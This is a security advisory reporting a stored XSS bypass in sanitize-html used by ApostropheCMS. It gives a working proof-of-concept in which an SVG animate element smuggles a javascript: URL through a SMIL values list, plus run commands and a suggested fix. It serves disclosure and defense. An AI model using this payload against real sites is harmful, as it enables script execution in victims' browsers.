GHSA-g8qq-57p8-ggw5

ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass

### Summary When SVG animation is allowed, `attributeName="href"` makes `values` a list of URL destinations. `sanitize-html` accepts a list that starts with a safe fragment even when `values` is explicitly scheme-checked, allowing a later `javascript:` destination to execute when the sanitized link is activated. ### Details `index.js:371-383` validates each attribute as one flat URL. It does not recognize that `attributeName="href"` gives the sibling `values` attribute SMIL URI-list semantics. For `values="#safe;javascript:..."`, the leading fragment passes the flat check and the complete list is retained. ### PoC This was reproduced with `sanitize-html@2.17.6` and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to `values`; it does not allow `javascript:`. Save this as `poc.js`: ```js const sanitize = require('sanitize-html'); const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`; const output = sanitize(input, { allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']), allowedAttributes: { ...sanitize.defaults.allowedAttributes, animate: ['attributename', 'values', 'dur', 'fill'], text: ['y'] }, allowedSchemesAppliedToAttributes: sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values']) }); console.log(output); ``` Install and run it, then open `poc.html` and click `Click me`: ```sh npm install sanitize-html@2.17.6 node poc.js > poc.html ``` The output retains the `javascript:` entry, and clicking the sanitized SVG displays `XSS`. With `input` changed to `<a href="javascript:alert(1)">control</a>`, the same configuration removes `href`. ### Impact In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy. ### Suggested fix Reject `attributeName` values selecting `href` or `xlink:href` on SVG `animate` and `set`, while retaining safe targets such as `fill`. Add `values`, `from`, and `to` regression cases.